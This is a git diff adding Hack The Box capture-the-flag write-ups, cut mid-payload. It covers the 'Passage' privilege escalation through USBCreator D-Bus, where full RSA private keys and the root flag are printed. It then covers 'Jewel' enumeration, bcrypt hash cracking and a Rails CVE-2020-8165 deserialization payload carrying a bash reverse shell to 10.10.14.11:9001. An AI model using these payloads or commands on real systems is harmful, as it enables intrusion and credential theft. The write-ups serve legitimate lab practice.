http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh + --2021-06-27 11:00:53-- http://10.10.14.11:9090/linpeas.sh + Connecting to 10.10.14.11:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[===============================================================>] 333.85K 172KB/s in 1.9s + + 2021-06-27 11:00:56 (172 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863] + + paul@passage:~$ chmod +x /tmp/peas.sh + paul@passage:~$ /tmp/peas.sh + + + +` ![](prg/61_004.png) + +Let linpeas.sh run a bit and then when we check the output we stumble upon USBCreator as a DBus Service Object: + +![](prg/61_005.png) ![](prg/61_006.png) + +Linpeas.sh clearly tells us that USBCreator is vulnerable so let's investigate, after a bit of googling we find [this](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/) blogpost which explains how to privesc using USBCreator: + +![](prg/61_007.png) + +Basically we can copy files as the root user, for example the root flag or the root user's private ssh keys, so let's do it: + + + paul@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/id_rsa true + Error: GDBus.Error:org.freedesktop.DBus.Python.dbus.exceptions.DBusException: com.ubuntu.USBCreator.Error.NotAuthorized + (According to introspection data, you need to pass 'ssb') + + + +Obviously we can't do that with the user paul we need to do it with the user called **nadav** , however for some reason as you can see here, the user paul seems to have nadav's public ssh key here so it's safe to assume that the private ssh key that is associated with paul's account is actually nadav's account: + + + paul@passage:~$ cat ~/.ssh/authorized_keys + ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage + [...] + + paul@passage:~/.ssh$ cat id_rsa.pub + ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage + + + +So let's save the private key locally to ssh as the user nadav: + + + [terminal 1] + paul@passage:~/.ssh$ cat id_rsa + -----BEGIN RSA PRIVATE KEY----- + MIIEpAIBAAKCAQEAs14rHBRld5fU9oL1zpIfcPgaT54Rb+QDj2oAK4M1g5PblKu/ + +L+JLs7KP5QL0CINoGGhB5Q3aanfYAmAO7YO+jeUS266BqgOj6PdUOvT0GnS7M4i + Z2Lpm4QpYDyxrgY9OmCg5LSN26Px948WE12N5HyFCqN1hZ6FWYk5ryiw5AJTv/kt + rWEGu8DJXkkdNaT+FRMcT1uMQ32y556fczlFQaXQjB5fJUXYKIDkLhGnUTUcAnSJ + JjBGOXn1d2LGHMAcHOof2QeLvMT8h98hZQTUeyQA5J+2RZ63b04dzmPpCxK+hbok + sjhFoXD8m5DOYcXS/YHvW1q3knzQtddtqquPXQIDAQABAoIBAGwqMHMJdbrt67YQ + eWztv1ofs7YpizhfVypH8PxMbpv/MR5xiB3YW0DH4Tz/6TPFJVR/K11nqxbkItlG + QXdArb2EgMAQcMwM0mManR7sZ9o5xsGY+TRBeMCYrV7kmv1ns8qddMkWfKlkL0lr + lxNsimGsGYq10ewXETFSSF/xeOK15hp5rzwZwrmI9No4FFrX6P0r7rdOaxswSFAh + zWd1GhYk+Z3qYUhCE0AxHxpM0DlNVFrIwc0DnM5jogO6JDxHkzXaDUj/A0jnjMMz + R0AyP/AEw7HmvcrSoFRx6k/NtzaePzIa2CuGDkz/G6OEhNVd2S8/enlxf51MIO/k + 7u1gB70CgYEA1zLGA35J1HW7IcgOK7m2HGMdueM4BX8z8GrPIk6MLZ6w9X6yoBio + GS3B3ngOKyHVGFeQrpwT1a/cxdEi8yetXj9FJd7yg2kIeuDPp+gmHZhVHGcwE6C4 + IuVrqUgz4FzyH1ZFg37embvutkIBv3FVyF7RRqFX/6y6X1Vbtk7kXsMCgYEA1WBE + LuhRFMDaEIdfA16CotRuwwpQS/WeZ8Q5loOj9+hm7wYCtGpbdS9urDHaMZUHysSR + AHRFxITr4Sbi51BHUsnwHzJZ0o6tRFMXacN93g3Y2bT9yZ2zj9kwGM25ySizEWH0 + VvPKeRYMlGnXqBvJoRE43wdQaPGYgW2bj6Ylt18CgYBRzSsYCNlnuZj4rmM0m9Nt + 1v9lucmBzWig6vjxwYnnjXsW1qJv2O+NIqefOWOpYaLvLdoBhbLEd6UkTOtMIrj0 + KnjOfIETEsn2a56D5OsYNN+lfFP6Ig3ctfjG0Htnve0LnG+wHHnhVl7XSSAA9cP1 + 9pT2lD4vIil2M6w5EKQeoQKBgQCMMs16GLE1tqVRWPEH8LBbNsN0KbGqxz8GpTrF + d8dj23LOuJ9MVdmz/K92OudHzsko5ND1gHBa+I9YB8ns/KVwczjv9pBoNdEI5KOs + nYN1RJnoKfDa6WCTMrxUf9ADqVdHI5p9C4BM4Tzwwz6suV1ZFEzO1ipyWdO/rvoY + f62mdwKBgQCCvj96lWy41Uofc8y65CJi126M+9OElbhskRiWlB3OIDb51mbSYgyM + Uxu7T8HY2CcWiKGe+TEX6mw9VFxaOyiBm8ReSC7Sk21GASy8KgqtfZy7pZGvazDs + OR3ygpKs09yu7svQi8j2qwc7FL6DER74yws+f538hI7SHBv9fYPVyw== + + [terminal 2] + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage] + → chmod 600 pkey + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage] + → ssh -i pkey nadav@10.10.10.206 + Last login: Mon Aug 31 15:07:54 2020 from 127.0.0.1 + nadav@passage:~$ + + +Now let's try the gdbus privesc path: + + + nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/rootkey true + () + nadav@passage:~$ cat /tmp/rootkey + -----BEGIN RSA PRIVATE KEY----- + MIIEogIBAAKCAQEAth1mFSVw6Erdhv7qc+Z5KWQMPtwTsT9630uzpq5fBx/KKzqZ + B7G3ej77MN35+ULlwMcpoumayWK4yZ/AiJBm6FEVBGSwjSMpOGcNXTL1TClGWbdE + +WNBT+30n0XJzi/JPhpoWhXM4OqYLCysX+/b0psF0jYLWy0MjqCjCl/muQtD6f2e + jc2JY1KMMIppoq5DwB/jJxq1+eooLMWVAo9MDNDmxDiw+uWRUe8nj9qFK2LRKfG6 + U6wnyQ10ANXIdRIY0bzzhQYTMyH7o5/sjddrRGMDZFmOq6wHYN5sUU+sZDYD18Yg + ezdTw/BBiDMEPzZuCUlW57U+eX3uY+/Iffl+AwIDAQABAoIBACFJkF4vIMsk3AcP + 0zTqHJ1nLyHSQjs0ujXUdXrzBmWb9u0d4djZMAtFNc7B1C4ufyZUgRTJFETZKaOY + 8q1Dj7vJDklmSisSETfBBl1RsiqApN5DNHVNIiQE/6CZNgDdFTCnzQkiUPePic8R + P1St2AVP1qmMvVimDFSJoiOEUfzidepXEEUQrByNmOJDtewMSm4aGz60ced2XCBr + GTt/wyo0y5ygRJkUcC+/o4/r2DQdrjCbeuyzAzzhFKQQx6HN5svzpi0jOWC0cB0W + GmAp5Q7fIFhuGyrxShs/BEuQP7q7Uti68iwEh2EZSlaMcBFEJvirWtIO7U3yIHYI + HnNlLvECgYEA7tpebu84sTuCarHwASAhstiCR5LMquX/tZtHi52qKKmYzG6wCCMg + S/go8DO8AX5mldkegD7KBmTeMNPKp8zuE8s+vpErCBH+4hOq6U1TwZvDQ2XY9HBz + aHz7vG5L8E7tYpJ64Tt8e0DcnQQtW8EqFIydipO0eLdxkIGykjWuYGsCgYEAwzBM + UZMmOcWvUULWf65VSoXE270AWP9Z/XuamG/hNpREDZEYvHmhucZBf1MSGGU/B7MC + YXbIs1sS6ehDcib8aCVdOqRIqhCqCd1xVnbE0T4F2s1yZkct09Bki6EuXPDo2vhy + /6v6oP+yT5z854Vfq0FWxmDUssMbjXkVLKIZ3skCgYAYvxsllzdidW3vq/vXwgJ7 + yx7EV5tI4Yd6w1nIR0+H4vpnw9gNH8aK2G01ZcbGyNfMErCsTNUVkIHMwUSv2fWY + q2gWymeQ8Hxd4/fDMDXLS14Rr42o1bW/T6OtRCgt/59spQyCJW2iP3gb9IDWjs7T + TjZMUz1RfIARnr5nk5Q7fQKBgGESVxJGvT8EGoGuXODZAZ/zUQj7QP4B2G5hF2xy + T64GJKYeoA+z6gNrHs3EsX4idCtPEoMIQR45z/k2Qry1uNfOpUPxyhWR/g6z65bV + sGJjlyPPAvLsuVTbEfYDLfyY7yVfZEnU7Os+3x4K9BfsU7zm3NIB/CX/NGeybR5q + a7VJAoGANui4oMa/9x8FSoe6EPsqbUcbJCmSGPqS8i/WZpaSzn6nW+636uCgB+EP + WOtSvOSRRbx69j+w0s097249fX6eYyIJy+L1LevF092ExQdoc19JTTKJZiWwlk3j + MkLnfTuKj2nvqQQ2fq+tIYEhY6dcSRLDQkYMCg817zynfP0I69c= + -----END RSA PRIVATE KEY----- + + +And we managed to get the root user's private ssh key! Now let's login as root via ssh to get the root flag: + + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage] + → chmod 600 rootkey + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage] + → ssh -i rootkey root@10.10.10.206 + Last login: Mon Aug 31 15:14:22 2020 from 127.0.0.1 + root@passage:~# cat root.txt + 4bf9ee15ce09ee77580ac8d850f19cbb + root@passage:~# id + uid=0(root) gid=0(root) groups=0(root) + root@passage:~# cat root.txt + 4bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And we managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/61_graph.png) + diff --git a/Medium/62.md b/Medium/62.md new file mode 100644 index 0000000..6af56aa --- /dev/null +++ b/Medium/62.md @@ -0,0 +1,1072 @@ +# Jewel Writeup + +![](img/62.png) + +## Introduction : + +Jewel is a Medium box released back in October 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/jewel] + → nmap -vvv -p- 10.10.10.211 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 22/tcp on 10.10.10.211 + Discovered open port 8080/tcp on 10.10.10.211 + Discovered open port 8000/tcp on 10.10.10.211 + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/jewel] + → nmap -sCV -p 22,8080,8000 10.10.10.211 -Pn + Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-28 07:30 CEST + Nmap scan report for 10.10.10.211 + Host is up (0.47s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) + | ssh-hostkey: + | 2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA) + | 256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA) + |_ 256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519) + 8000/tcp open http Apache httpd 2.4.38 + |_http-generator: gitweb/2.20.1 git/2.20.1 + | http-open-proxy: Potentially OPEN proxy. + |_Methods supported:CONNECTION + |_http-server-header: Apache/2.4.38 (Debian) + | http-title: 10.10.10.211 Git + |_Requested resource was http://10.10.10.211:8000/gitweb/ + 8080/tcp open http nginx 1.14.2 (Phusion Passenger 6.0.6) + |_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6 + |_http-title: BL0G! + Service Info: Host: jewel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 29.39 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 8000 with an interesting url **http://10.10.10.211:8000/gitweb/** so let's investigate it: + +![](prg/62_001.png) + +Click on **snapshot** so we can download the sourcecode and decompress it: + + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/jewel] + → mv ~/Downloads/git-5d6f436.tar.gz . + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/jewel] + → tar -zxvf git-5d6f436.tar.gz + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/jewel] + → cd .git-5d6f436 + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [HTB/jewel/.git-5d6f436] + → tree . + . + ├── app + │   ├── assets + │   │   ├── config + │   │   │   └── manifest.js + │   │   ├── images + │   │   │   ├── about.jpg + │   │   │   ├── bg_1.jpg + │   │   │   ├── image_1.jpg + │   │   │   ├── image_2.jpg + │   │   │   ├── image_3.jpg + │   │   │   ├── image_4.jpg + │   │   │   ├── image_5.jpg + │   │   │   ├── image_6.jpg + │   │   │   ├── image_7.jpg + │   │   │   ├── image_8.jpg + │   │   │   ├── image_9.jpg + │   │   │   ├── loc.png + │   │   │   ├── person_1.jpg + │   │   │   ├── person_2.jpg + │   │   │   ├── person_3.jpg + │   │   │   ├── person_4.jpg + │   │   │   ├── person_5.jpg + │   │   │   ├── person_6.jpg + │   │   │   ├── person_7.jpg + │   │   │   └── person_8.jpg + │   │   ├── javascripts + │   │   │   ├── application.js + │   │   │   ├── cable.js + │   │   │   └── channels + │   │   └── stylesheets + │   │   ├── application.scss + │   │   ├── articles.scss + │   │   ├── bootstrap.min.css + │   │   ├── custom.scss + │   │   └── home.scss + │   ├── channels + │   │   └── application_cable + │   │   ├── channel.rb + │   │   └── connection.rb + │   ├── controllers + │   │   ├── application_controller.rb + │   │   ├── articles_controller.rb + │   │   ├── concerns + │   │   ├── home_controller.rb + │   │   ├── sessions_controller.rb + │   │   └── users_controller.rb + │   ├── helpers + │   │   ├── application_helper.rb + │   │   ├── articles_helper.rb + │   │   └── home_helper.rb + │   ├── jobs + │   │   └── application_job.rb + │   ├── mailers + │   │   └── application_mailer.rb + │   ├── models + │   │   ├── application_record.rb + │   │   ├── article.rb + │   │   ├── comment.rb + │   │   ├── concerns + │   │   └── user.rb + │   └── views + │   ├── articles + │   │   ├── edit.html.erb + │   │   ├── _form.html.erb + │   │   ├── index.html.erb + │   │   ├── new.html.erb + │   │   └── show.html.erb + │   ├── home + │   │   └── index.html.erb + │   ├── layouts + │   │   ├── application.html.erb + │   │   ├── mailer.html.erb + │   │   ├── mailer.text.erb + │   │   └── _navigation.html.erb + │   ├── sessions + │   │   ├── _form.html.erb + │   │   └── new.html.erb + │   ├── shared + │   │   ├── _article_errors.html.erb + │   │   ├── _messages.html.erb + │   │   └── _user_errors.html.erb + │   └── users + │   ├── edit.html.erb + │   ├── _form.html.erb + │   ├── index.html.erb + │   ├── new.html.erb + │   └── show.html.erb + ├── bd.sql + ├── bin + │   ├── bundle + │   ├── rails + │   ├── rake + │   ├── setup + │   ├── update + │   └── yarn + ├── config + │   ├── application.rb + │   ├── boot.rb + │   ├── cable.yml + │   ├── environment.rb + │   ├── environments + │   │   ├── development.rb + │   │   ├── production.rb + │   │   └── test.rb + │   ├── initializers + │   │   ├── application_controller_renderer.rb + │   │   ├── assets.rb + │   │   ├── backtrace_silencers.rb + │   │   ├── content_security_policy.rb + │   │   ├── cookies_serializer.rb + │   │   ├── filter_parameter_logging.rb + │   │   ├── inflections.rb + │   │   ├── mime_types.rb + │   │   ├── session_store.rb + │   │   ├── will_paginate.rb + │   │   └── wrap_parameters.rb + │   ├── locales + │   │   └── en.yml + │   ├── puma.rb + │   ├── routes.rb + │   ├── spring.rb + │   ├── storage.yml + │   ├── webpack + │   │   ├── development.js + │   │   ├── environment.js + │   │   ├── production.js + │   │   └── test.js + │   └── webpacker.yml + ├── config.ru + ├── db + │   ├── schema.rb + │   └── seeds.rb + ├── Gemfile + ├── Gemfile.lock + ├── lib + │   ├── assets + │   └── tasks + ├── log + ├── package.json + ├── public + │   ├── 404.html + │   ├── 422.html + │   ├── 500.html + │   ├── apple-touch-icon.png + │   ├── apple-touch-icon-precomposed.png + │   ├── favicon.ico + │   └── robots.txt + ├── Rakefile + ├── README.md + ├── storage + ├── test + │   ├── application_system_test_case.rb + │   ├── controllers + │   ├── fixtures + │   │   └── files + │   ├── helpers + │   ├── integration + │   ├── mailers + │   ├── models + │   ├── system + │   └── test_helper.rb + ├── tmp + └── vendor + + 47 directories, 116 files + + +One of the interesting files in here is **bd.sql** and after looking into it we see 2 usernames with their hashed passwords: + + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [HTB/jewel/.git-5d6f436] + → cat bd.sql | grep jennifer + 2 jennifer jennifer@mail.htb 2020-08-25 08:54:42.8483 2020-08-25 08:54:42.8483 $2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [HTB/jewel/.git-5d6f436] + → cat bd.sql | grep bill + 1 bill bill@mail.htb 2020-08-25 08:13:58.662464 2020-08-25 08:13:58.662464 $2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW + + +So after trying to crack them with **john** + + + john hashes.txt --format=bcrypt --wordlist=/usr/share/wordlists/passwords/rockyou.txt + + + +We couldn't get jennifer's password but we did get bill's password: **bill:spongebob** , now obviously this is the repository of the blog website on port 8080: + + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [HTB/jewel/.git-5d6f436] + → grep -ri 8080 + config/puma.rb:port ENV.fetch("PORT") { 8080 } + + + +` ![](prg/62_002.png) + +So let's create an account at the **/signup** page: + +![](prg/62_003.png) + +Then we login at the **/login** page: + +![](prg/62_004.png) + +Once we're logged in we can't change much of our account, we get to this **/users/18/edit** URL + +![](prg/62_003.png) + +Now in order to proceed here we need to install a ruby version that matches the one specified in the gemfile: + + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [HTB/jewel/.git-5d6f436] + → cat Gemfile + source 'https://rubygems.org' + git_source(:github) { |repo| "https://github.com/#{repo}.git" } + + ruby '2.5.5' + + # Bundle edge Rails instead: gem 'rails', github: 'rails/rails' + gem 'rails', '= 5.2.2.1' + # Use postgresql as the database for Active Record + gem 'pg', '>= 0.18', '< 2.0' + # Use Puma as the app server + gem 'puma', '~> 3.11' + # Use SCSS for stylesheets + gem 'sass-rails', '~> 5.0' + # Use Uglifier as compressor for JavaScript assets + gem 'uglifier', '>= 1.3.0' + # See https://github.com/rails/execjs#readme for more supported runtimes + # gem 'mini_racer', platforms: :ruby + + # Use CoffeeScript for .coffee assets and views + gem 'coffee-rails', '~> 4.2' + # Turbolinks makes navigating your web application faster. Read more: https://github.com/turbolinks/turbolinks + gem 'turbolinks', '~> 5' + # Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder + gem 'jbuilder', '~> 2.5' + # Use Redis adapter to run Action Cable in production + gem 'redis', '~> 4.0' + # Use ActiveModel has_secure_password + gem 'bcrypt', '~> 3.1.7' + + # Use ActiveStorage variant + # gem 'mini_magick', '~> 4.8' + + # Use Capistrano for deployment + # gem 'capistrano-rails', group: :development + + # Reduces boot times through caching; required in config/boot.rb + gem 'bootsnap', '>= 1.1.0', require: false + + gem 'jquery-rails', '= 4.3.3' + gem 'bootstrap', '~> 4.5.0' + gem 'popper_js', '1.16.0' + + gem 'will_paginate', '3.3.0' + gem 'bootstrap-will_paginate', '1.0.0' + + group :development, :test do + # Call 'byebug' anywhere in the code to stop execution and get a debugger console + gem 'byebug', platforms: [:mri, :mingw, :x64_mingw] + end + + group :development do + # Access an interactive console on exception pages or by calling 'console' anywhere in the code. + gem 'web-console', '>= 3.3.0' + gem 'listen', '>= 3.0.5', '<****3.2' + # Spring speeds up development by keeping your application running in the background. Read more: https://github.com/rails/spring + gem 'spring' + gem 'spring-watcher-listen', '~> 2.0.0' + end + + group :test do + # Adds support for Capybara system testing and selenium driver + gem 'capybara', '>= 2.15' + gem 'selenium-webdriver' + # Easy installation and use of chromedriver to run system tests with Chrome + gem 'chromedriver-helper' + end + + # Windows does not include zoneinfo files, so bundle the tzinfo-data gem + gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby] + +Now what this file tells us is basically what we need to install this app, similar to requirements.txt for python projects. + + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [HTB/jewel/.git-5d6f436] + → bundle outdated + Traceback (most recent call last): + 2: from /usr/bin/bundle:23:in `' + 1: from /usr/lib/ruby/vendor_ruby/rubygems.rb:300:in `activate_bin_path' + /usr/lib/ruby/vendor_ruby/rubygems.rb:281:in `find_spec_for_exe': Could not find 'bundler' (1.17.3) required by your /home/nothing/HTB/jewel/.git-5d6f436/Gemfile.lock. (Gem::GemNotFoundException) + To update to the latest version installed on your system, run `bundle update --bundler`. + To install the missing version, run `gem install bundler:1.17.3` + + +We're also going to need **brakeman** to analyse the ruby project further, so let's install it with **gem** : + + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/jewel] + → which gem + /usr/bin/gem + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/jewel] + → sudo gem install brakeman + [sudo] password for nothing: + Fetching brakeman-5.0.4.gem + Successfully installed brakeman-5.0.4 + Parsing documentation for brakeman-5.0.4 + Installing ri documentation for brakeman-5.0.4 + Done installing documentation for brakeman after 2 seconds + 1 gem installed + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/jewel] + → cd .git-5d6f436 + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [HTB/jewel/.git-5d6f436] + → brakeman + + [...] + + - CheckXMLDoS + - CheckYAMLParsing + Checks finished, collecting results... + Generating report... + + == Brakeman Report == + + Application Path: /home/nothing/HTB/jewel/.git-5d6f436 + **Rails Version: 5.2.2.1** + Brakeman Version: 5.0.4 + Scan Date: 2021-06-29 15:05:57 +0200 + Duration: 0.394887467 seconds + Checks Run: BasicAuth, BasicAuthTimingAttack, CSRFTokenForgeryCVE, ContentTag, CookieSerialization, CreateWith, CrossSiteScripting, DefaultRoutes, Deserialize, DetailedExceptions, DigestDoS, DynamicFinders, EscapeFunction, Evaluation, Execute, FileAccess, FileDisclosure, FilterSkipping, ForgerySetting, HeaderDoS, I18nXSS, JRubyXML, JSONEncoding, JSONEntityEscape, JSONParsing, LinkTo, LinkToHref, MailTo, MassAssignment, MimeTypeDoS, ModelAttrAccessible, ModelAttributes, ModelSerialize, NestedAttributes, NestedAttributesBypass, NumberToCurrency, PageCachingCVE, PermitAttributes, QuoteTableName, Redirect, RegexDoS, Render, RenderDoS, RenderInline, ResponseSplitting, RouteDoS, SQL, SQLCVEs, SSLVerify, SafeBufferManipulation, SanitizeMethods, SelectTag, SelectVulnerability, Send, SendFile, SessionManipulation, SessionSettings, SimpleFormat, SingleQuotes, SkipBeforeFilter, SprocketsPathTraversal, StripTags, SymbolDoSCVE, TemplateInjection, TranslateBug, UnsafeReflection, UnsafeReflectionMethods, ValidationRegex, VerbConfusion, WithoutProtection, XMLDoS, YAMLParsing + + == Overview == + + Controllers: 5 + Models: 4 + Templates: 19 + Errors: 0 + Security Warnings: 1 + + == Warning Types == + + Cross-Site Request Forgery: 1 + + == Warnings == + + Confidence: Medium + Category: Cross-Site Request Forgery + Check: CSRFTokenForgeryCVE + Message: Rails 5.2.2.1 has a vulnerability that may allow CSRF token forgery. Upgrade to Rails 5.2.4.3 or patch + File: Gemfile.lock + Line: 124 + + + + +Now if we go by what brakeman tells us, there is only a Cross Site Forgery CVE. So that's why there were less than 2500 roots of this box overall, the initial foothold is hard to even spot, brakeman does not help us here. But the trick here was to spot the **Rails version** which is 5.2.2.1, and this is severely out of date as you can see [here](https://rubygems.org/gems/rails/versions): + +![](prg/62_006.png) + +So we look for CVEs [here](https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=rails): + +![](prg/62_007.png) + +So we take a look at **CVE-2020-8165** , which is about a deserialization attack on untrusted data which exists in rails **5.2.4.3** and backwards, and basically it allows an attacker to unmarshal user-provided objects in the **MemCacheStore** and **RedisCacheStore** to result in a RCE to get us a reverse shell. So after a bit of googling we stumble upon [this](https://github.com/masahiro331/CVE-2020-8165) repository: + +![](prg/62_008.png) + +Now here in red you can see the serialized payload, but now the question is will this box's ruby project be vulnerable to that particular deserialization attack ? To find out we take a look at the reference google link at the bottom of the repository: + +![](prg/62_009.png) + +Now we know what makes this CVE possible, it's the **raw: true** parameter which allows the attacker to write to the cache (redis cache or memcached) and potentially get Remote Code Execution, so let's check out if the current rails project has any of the raw: true parameters: + + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [HTB/jewel/.git-5d6f436] + → grep -Ri 'cache.fetch' . + ./app/controllers/application_controller.rb: @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do + ./app/controllers/users_controller.rb: @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]} + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [HTB/jewel/.git-5d6f436] + → grep -Ri 'raw: true' . + ./app/controllers/application_controller.rb: @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do + ./app/controllers/users_controller.rb: @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]} + + + +Let's see in which context the first one is being used: + +![](prg/62_010.png) + +Apparently, in the context of when we try to change the current username we are currently logged in the application, we should be able to inject a serialized object since the **raw: true** parameter is being used into the **cache.fetch()** function. Now in order to continue we need to install rails ourselves: + + + [ 10.66.66.2/32 ] [ /dev/pts/5 ] [~/HTB/jewel] + → sudo apt install rails -y + + + +Now we need to create a rails project: + + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [HTB/jewel/.git-5d6f436] + → cd .. + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/jewel] + → rails new exploit + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/jewel] + → rails new exploit + create + create README.md + create Rakefile + create .ruby-version + create config.ru + create .gitignore + create Gemfile + run git init from "." + hint: Using 'master' as the name for the initial branch. This default branch name + hint: is subject to change. To configure the initial branch name to use in all + hint: of your new repositories, which will suppress this warning, call: + hint: + hint: git config --global init.defaultBranch + hint: + hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and + hint: 'development'. The just-created branch can be renamed via this command: + hint: + hint: git branch -m name + Initialized empty Git repository in /home/nothing/HTB/jewel/exploit/.git/ + create package.json + create app + [...] + + + +This will create the **exploit** directory, once it's done running we can get a ruby prompt, we can do it with the same command the CVE github repo advised us to do with **bundle exec rails console** or just **rails console** : + + + [...] + + ├─ webpack-dev-server@3.11.2 + ├─ websocket-driver@0.7.4 + ├─ websocket-extensions@0.1.4 + └─ ws@6.2.2 + Done in 19.44s. + Webpacker successfully installed 🎉 🍰 + + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/jewel] + → cd exploit + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [HTB/jewel/exploit] + → rails console + Running via Spring preloader in process 3266829 + Loading development environment (Rails 6.0.3.5) + irb(main):001:0> + + + +Now from our rails console, we generate the payload like so: + + + code = '`bash -c "bash -i >& /dev/tcp/10.10.14.11/9001 0>&1"`' + erb = ERB.allocate + erb.instance_variable_set :@src, code + erb.instance_variable_set :@filename, "1" + erb.instance_variable_set :@lineno, 1 + payload=Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result) + + + +With the output of each commands we get the following: + + + [ 10.10.14.11/23 ] [ /dev/pts/19 ] [HTB/jewel/exploit] + → rails console + Running via Spring preloader in process 3266829 + Loading development environment (Rails 6.0.3.5) + irb(main):001:0> code = '`bash -c "bash -i >& /dev/tcp/10.10.14.11/9001 0>&1"`' + => "`bash -c \"bash -i >& /dev/tcp/10.10.14.11/9001 0>&1\"`" + irb(main):002:0> erb = ERB.allocate + => #ERB:0x000055e564a39130> + irb(main):003:0> erb.instance_variable_set :@src, code + => "`bash -c \"bash -i >& /dev/tcp/10.10.14.11/9001 0>&1\"`" + irb(main):004:0> erb.instance_variable_set :@filename, "1" + => "1" + irb(main):005:0> erb.instance_variable_set :@lineno, 1 + => 1 + irb(main):006:0> payload=Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result) + => "\x04\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0E@instanceo:\bERB\b:\t@srcI\":`bash -c \"bash -i >& /dev/tcp/10.10.14.11/9001 